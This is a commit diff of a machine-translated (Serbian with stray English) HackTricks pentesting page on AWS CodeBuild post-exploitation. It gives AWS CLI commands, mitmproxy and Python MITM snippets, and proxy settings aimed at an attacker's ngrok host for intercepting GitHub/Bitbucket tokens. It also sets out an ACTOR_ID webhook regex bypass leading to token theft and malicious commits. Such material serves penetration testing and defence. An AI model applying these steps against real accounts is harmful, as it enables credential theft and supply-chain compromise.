Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2026-01-18 15:12:38 +00:00
parent 599b599c36
commit 228e9c7249
@@ -2,47 +2,47 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Oporavak konfigurisanih tokena za Github/Bitbucket
## Provera Github/Bitbucket konfigurisanih Tokens
Prvo, proverite da li postoje bilo akreditivi izvora koji su konfigurirani koje biste mogli da iscurite:
Prvo proveri da li postoje source credentials koji su konfigurisani i koje bi mogao leak:
```bash
aws codebuild list-source-credentials
```
### Putem Docker slike
### Putem Docker Image
Ako otkrijete da je autentifikacija na primer za Github postavljena u nalogu, možete **izvršiti** tu **pristup** (**GH token ili OAuth token**) tako što ćete naterati Codebuild da **koristi specifičnu docker sliku** za pokretanje izgradnje projekta.
Ako otkrijete da je autentifikacija, na primer prema Github-u, podešena na nalogu, možete **exfiltrate** taj **access** (**GH token or OAuth token**) tako što ćete naterati Codebuild da **use an specific docker image** za pokretanje build-a projekta.
U tu svrhu možete **napraviti novi Codebuild projekat** ili promeniti **okruženje** postojećeg da postavite **Docker sliku**.
Za ovu namenu možete **create a new Codebuild project** ili promeniti **environment** postojećeg da podesite **Docker image**.
Docker slika koju možete koristiti je [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Ovo je vrlo osnovna Docker slika koja će postaviti **env promenljive `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u **`https_proxy`** i **`http_proxy`** i verujete SSL CERT-u navedenom u **`SSL_CERT_FILE`**.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u **`https_proxy`** i **`http_proxy`** i da verujete SSL CERT navedenom u **`SSL_CERT_FILE`**.
1. **Kreirajte i otpremite svoju Docker MitM sliku**
- Pratite uputstva iz repozitorijuma da postavite svoju proxy IP adresu i postavite svoj SSL certifikat i **izgradite docker sliku**.
- **NE POSTAVLJAJTE `http_proxy`** da ne biste presreli zahteve ka metadata endpoint-u.
- Možete koristiti **`ngrok`** kao `ngrok tcp 4444` da postavite proxy na vaš host.
- Kada izgradite Docker sliku, **otpremite je na javni repozitorijum** (Dockerhub, ECR...)
2. **Postavite okruženje**
- Kreirajte **novi Codebuild projekat** ili **izmenite** okruženje postojećeg.
- Postavite projekat da koristi **prethodno generisanu Docker sliku**.
1. **Create & Upload your own Docker MitM image**
- Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**.
- **DO NOT SET `http_proxy`** kako ne bi presretao zahteve ka metadata endpoint-u.
- Možete koristiti **`ngrok`** kao `ngrok tcp 4444` da podesite proxy na vaš host
- Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
- Kreirajte **new Codebuild project** ili izmenite **environment** postojećeg.
- Set the project to use the **previously generated Docker image**
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Postavite MitM proxy na vašem hostu**
3. **Set the MitM proxy in your host**
- Kao što je navedeno u **Github repozitorijumu**, možete koristiti nešto poput:
- As indicated in the **Github repo** you could use something like:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> Verzija **mitmproxy koja je korišćena je 9.0.1**, prijavljeno je da sa verzijom 10 ovo možda neće raditi.
> Korišćena je **mitmproxy verzija 9.0.1**, prijavljeno je da sa verzijom 10 ovo možda neće raditi.
4. **Pokrenite gradnju i zabeležite akreditive**
4. **Pokrenite build i presretnite kredencijale**
- Možete videti token u **Authorization** header-u:
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
Ovo se takođe može uraditi iz aws cli sa nečim poput
Ovo se takođe može uraditi iz aws cli naredbom poput
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
### Putem insecureSSL
**Codebuild** projekti imaju podešavanje nazvano **`insecureSsl`** koje je skriveno na vebu i može se promeniti samo putem API-ja.\
Omogućavanje ovoga omogućava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata** koji nudi platforma.
**Codebuild** projekti imaju podešavanje nazvano **`insecureSsl`** koje je skriveno u web interfejsu možete ga promeniti samo preko API-ja.\
Omogućavanje ovog podešavanja dozvoljava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata** koji nudi platforma.
- Prvo treba da enumerišete trenutnu konfiguraciju sa nečim poput:
- Prvo treba izlistati trenutnu konfiguraciju nečim poput:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Zatim, sa prikupljenim informacijama možete ažurirati postavku projekta **`insecureSsl`** na **`True`**. Sledeći je primer mog ažuriranja projekta, obratite pažnju na **`insecureSsl=True`** na kraju (ovo je jedina stvar koju treba da promenite iz prikupljene konfiguracije).
- Pored toga, dodajte i env varijable **http_proxy** i **https_proxy** koje upućuju na vaš tcp ngrok kao:
- Zatim, sa prikupljenim informacijama možete ažurirati podešavanje projekta **`insecureSsl`** na **`True`**. U nastavku je primer mog ažuriranja projekta obratite pažnju na **`insecureSsl=True`** na kraju (to je jedina stvar koju treba promeniti u odnosu na prikupljenu konfiguraciju).
- Pored toga, dodajte i env variables **http_proxy** i **https_proxy** koje usmerite na vaš tcp ngrok, na primer:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu koji su označili proxy varijable (http_proxy i https_proxy)
- Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji pokazuju proxy promenljive (http_proxy i https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Na kraju, kliknite na **Build the project**, **akreditivi** će biti **poslati u čistom tekstu** (base64) na mitm port:
- Na kraju, kliknite na **Build the project**, **credentials** će biti **sent in clear text** (base64) na mitm port:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~Putem HTTP protokola~~
### ~~Via HTTP protocol~~
> [!TIP] > **Ova ranjivost je ispravljena od strane AWS-a u nekom trenutku tokom nedelje 20. februara 2023. (mislim u petak). Tako da napadač više ne može da je zloupotrebi :)**
> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
Napadač sa **povišenim dozvolama u CodeBuild-u mogao bi da iscuri Github/Bitbucket token** koji je konfigurisan ili ako su dozvole konfigurirane putem OAuth, **privremeni OAuth token koji se koristi za pristup kodu**.
An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
- Napadač bi mogao da doda promenljive okruženja **http_proxy** i **https_proxy** u CodeBuild projekat koje upućuju na njegovu mašinu (na primer `http://5.tcp.eu.ngrok.io:14972`).
- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- Zatim, promenite URL github repozitorijuma da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions`
- Zatim, pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu koji su označile proxy promenljive (http_proxy i https_proxy)
- Zatim promenite URL github repo-a da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions`
- Zatim pokrenite basic example sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu koji su pokazali proxy variables (http_proxy i https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Zatim kliknite na **Build the project** ili pokrenite build iz komandne linije:
- Zatim, kliknite na **Build the project** ili pokrenite build iz komandne linije:
```sh
aws codebuild start-build --project-name <proj-name>
```
- Na kraju, **akreditivi** će biti **poslati u čistom tekstu** (base64) na mitm port:
- Na kraju, **credentials** će biti **sent in clear text** (base64) poslati na mitm port:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Sada će napadač moći da koristi token sa svoje mašine, da izlista sve privilegije koje ima i (zlo)upotrebi lakše nego korišćenjem CodeBuild servisa direktno.
> Sada napadač može da iskoristi token sa svoje mašine, izlista sve privilegije koje poseduje i lakše ih zloupotrebi nego da direktno koristi servis CodeBuild.
## Zaobilaženje allowliste ACTOR_ID regex-a webhook filtera (PR-om pokrenuti privilegovani build-ovi)
Pogrešno konfigurisani CodeBuild GitHub webhooks koji koriste neukotvljene `ACTOR_ID` regex-e omogućavaju *nepouzdanim* PR-ovima da pokrenu privilegovane build-ove. Ako je allowlist kao `123456|7890123` bez `^`/`$`, svaki ID koji sadrži jedan od tih podnizova se podudara. Pošto su GitHub user ID-jevi sekvencijalni, napadač može da se potrudi da registruje “eclipsing” ID (superstring poverenog ID-ja) i da pokrene build.
Putanja exploita
1. Pronađite javne CodeBuild projekte koji izlažu webhook filtere i izdvojite neukotvljenu `ACTOR_ID` allowlistu.
2. Nabavite eclipsing GitHub ID:
- Izmerite globalni brojač ID-eva kreiranjem/brisanja GitHub organizacija (org IDs dele isti pool).
- Pre-stage-ujte veliki broj kreiranja GitHub App manifest-a i aktivirajte confirmation URL-ove kada je brojač unutar ~100 ID-eva od cilja da biste brzo registrovali bot ID koji sadrži povereni podniz.
3. Otvorite PR sa eclipsing naloga; regex će poklopiti podniz i privilegovani build će se pokrenuti.
4. Iskoristite build RCE (npr. dependency install hooks) da ispraznite memoriju procesa koja rukuje GitHub credential-om i povratite PAT/OAuth token.
5. Sa tokenom koji ima `repo` scope, pozovite svoj nalog kao collaborator/admin i push-ujte/approve-ujte zlonamerne commit-ove ili eksfiltrujte tajne.
## References
- [Wiz: CodeBreach AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#include ../../../../banners/hacktricks-training.md}}